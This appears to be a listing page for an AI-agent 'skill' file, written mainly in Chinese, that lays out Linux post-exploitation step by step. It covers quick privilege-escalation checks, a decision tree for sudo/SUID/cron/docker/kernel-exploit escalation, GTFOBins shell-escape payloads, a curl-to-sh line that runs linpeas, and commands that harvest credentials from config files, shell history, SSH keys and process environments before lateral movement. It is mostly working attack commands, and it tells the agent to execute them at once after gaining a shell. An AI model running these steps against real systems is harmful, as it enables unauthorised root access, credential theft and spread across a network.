post-exploit-linux

$npx mdskill add wgpsec/AboutSecurity/post-exploit-linux

Execute Linux privilege escalation and credential harvesting immediately.

  • Automates root access via sudo, SUID, and kernel vulnerabilities.
  • Integrates with GTFOBins, linpeas, and MITRE ATT&CK frameworks.
  • Prioritizes NOPASSWD sudo checks before executing complex exploits.
  • Outputs actionable commands and references for immediate execution.

SKILL.md

.github/skills/post-exploit-linuxView on GitHub ↗
---
name: post-exploit-linux
description: "Linux 后渗透全流程:信息收集→提权→凭据收集→横向准备。当通过 RCE/webshell/SSH 获取到 Linux shell 后使用。提权覆盖 sudo 滥用、SUID/SGID、Capabilities、Cron 劫持、PATH 劫持、Docker/LXD 组、NFS no_root_squash、可写 /etc/passwd、内核漏洞(DirtyPipe/PwnKit/DirtyCow)、组件提权。无论当前权限是 www-data 还是 root,都应先执行此方法论。任何拿到 Linux shell 后的操作——提权、找凭据、找 flag、准备横向移动——都从这个技能开始"
metadata:
  tags: "post-exploit,linux,privesc,credential,提权,后渗透,凭据,suid,sudo,cron,capabilities,docker,kernel,snap,GTFOBins,linpeas,linux提权,linux后渗透"
  category: "postexploit"
  mitre_attack: "T1003,T1053.003,T1547.006,T1070"
---

# Linux 后渗透 & 提权方法论

获取 shell 后的完整行动路线:信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。

## ⛔ 深入参考

内容按需加载——SKILL.md 给你决策树和快速命令,references 给你完整 payload:

- sudo/SUID/Capabilities/Cron 劫持的全部利用命令、GTFOBins 速查、环境变量劫持、sudo CVE → [references/privesc-techniques.md](references/privesc-techniques.md)
- Docker/LXD 组提权、NFS、内核漏洞(PwnKit/DirtyPipe/DirtyCow)、snap-confine 提权(CVE-2026-3888)、可写文件、进程凭据 → [references/advanced-privesc.md](references/advanced-privesc.md)
- 凭据收集完整路径(配置文件/历史记录/SSH 密钥/数据库/进程内存) → [references/credential-harvest.md](references/credential-harvest.md)

---

## Phase 0: 30 秒快速提权判断

刚拿到 shell 时跑这几条命令,快速判断有没有"秒提"的机会:

```bash
id && sudo -l 2>/dev/null                          # 身份 + sudo 权限(80% 的提权从这里开始)
find / -perm -4000 -type f 2>/dev/null | head -20   # SUID 文件
getcap -r / 2>/dev/null                              # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null           # 文件权限
```

**秒提信号**:
- `sudo -l` 有 `NOPASSWD` 条目 → 大概率能提(查 GTFOBins)
- 非标准 SUID 文件(不是 ping/su/sudo/mount 那些) → 很可能可利用
- `/etc/passwd` 可写 → 直接添加 root 用户

如果这里没有明显突破口,继续 Phase 1 做完整信息收集。

## Phase 1: 系统信息收集

```bash
# 身份与权限
id && whoami
uname -a && cat /etc/os-release      # 内核版本 + 发行版(匹配内核漏洞用)

# 网络
ip addr && ip route && ss -tlnp      # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts

# 进程与环境
ps aux                                # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token'  # 环境变量泄露
```

**关键判断**:
- 多网卡 = 可能是跳板(双网段 pivot)
- DNS 指向内网 IP = 域环境
- ARP 表大 = 活跃网段,值得扫描
- root 进程的命令行可能暴露密码/路径

## Phase 2: 提权决策树(按成功率排序)

```
当前权限?
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查:
    │
    ├─ 1. sudo -l
    │   ├─ (ALL) NOPASSWD: ALL → sudo su(直接 root)
    │   ├─ 特定命令 → GTFOBins 查提权方法
    │   ├─ env_keep+=LD_PRELOAD → 共享库注入提权
    │   └─ 无 sudo → 下一步
    │
    ├─ 2. SUID 文件
    │   find / -perm -4000 -type f 2>/dev/null
    │   ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
    │   └─ pkexec → PwnKit (CVE-2021-4034)
    │
    ├─ 3. Capabilities
    │   getcap -r / 2>/dev/null
    │   └─ cap_setuid → python3/perl 提权
    │   └─ cap_dac_read_search → 读 /etc/shadow
    │
    ├─ 4. Cron 任务
    │   cat /etc/crontab && ls -la /etc/cron.d/
    │   ├─ root cron 执行可写脚本 → 替换脚本内容
    │   ├─ cron PATH 有你可写的目录 → 同名脚本劫持
    │   └─ cron 使用通配符(tar *)→ 参数注入
    │
    ├─ 5. 可写文件/目录
    │   ├─ /etc/passwd 可写 → 添加 root 用户
    │   ├─ /etc/shadow 可读 → john/hashcat 破解
    │   ├─ systemd .service 可写 → 改 ExecStart
    │   └─ root 进程的库/配置可写 → 劫持
    │
    ├─ 6. 特殊组
    │   ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
    │   ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
    │   ├─ disk 组 → debugfs 读任意文件
    │   └─ adm 组 → 读日志找凭据
    │
    ├─ 7. NFS
    │   cat /etc/exports → no_root_squash → 远程写 SUID 文件
    │
    └─ 8. 内核漏洞(最后手段,有崩溃风险)
        uname -r → 匹配 CVE
        PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
        snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)
```

→ 各步骤的完整利用命令 → [references/privesc-techniques.md](references/privesc-techniques.md) + [references/advanced-privesc.md](references/advanced-privesc.md)

### sudo 提权 Top 10 速查

| 命令 | 提权方法 |
|------|----------|
| vim/vi | `:!/bin/bash` |
| find | `find / -exec /bin/bash \;` |
| python3 | `import os; os.system("/bin/bash")` |
| awk | `awk 'BEGIN {system("/bin/bash")}'` |
| env | `env /bin/bash` |
| less/more | `!/bin/bash` |
| tar | `--checkpoint-action=exec=/bin/bash` |
| nmap | `--interactive` → `!sh`(旧版)/ `--script` |
| bash/sh | 直接 `sudo bash` |
| systemctl/journalctl | 进入 pager → `!/bin/bash` |

完整列表查 [GTFOBins](https://gtfobins.github.io/)

### 自动化枚举

手动检查完没发现明显路径时,上自动化工具扫一遍——它们会检查更多边缘情况:

```bash
# LinPEAS(最全面,推荐)
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./linenum.sh -t

# linux-exploit-suggester(内核漏洞匹配)
./linux-exploit-suggester.sh
```

投递工具到目标的方法 → 加载 `tool-delivery` 技能

## Phase 3: 凭据收集

提权成功后(或即使没提权),尽可能收集凭据——这些凭据在横向移动中价值极大:

```bash
# Web 应用配置(数据库密码、API Key)
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# 历史记录(人类经常在命令行敲密码)
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'

# SSH 密钥(横向移动的金钥匙)
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/

# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null

# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
```

→ 更多凭据位置 → [references/credential-harvest.md](references/credential-harvest.md)

## Phase 4: 敏感数据搜索

```bash
# Flag(CTF/靶场)
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null

# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null
```

## Phase 5: 横向移动准备

```bash
ip route && arp -a && cat /etc/hosts     # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null       # SSH 连接过哪些机器
```

收集到的凭据 + 发现的网段 → 加载 `internal-recon` 技能做内网扫描 → 加载 `lateral-movement` 技能做横向移动

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|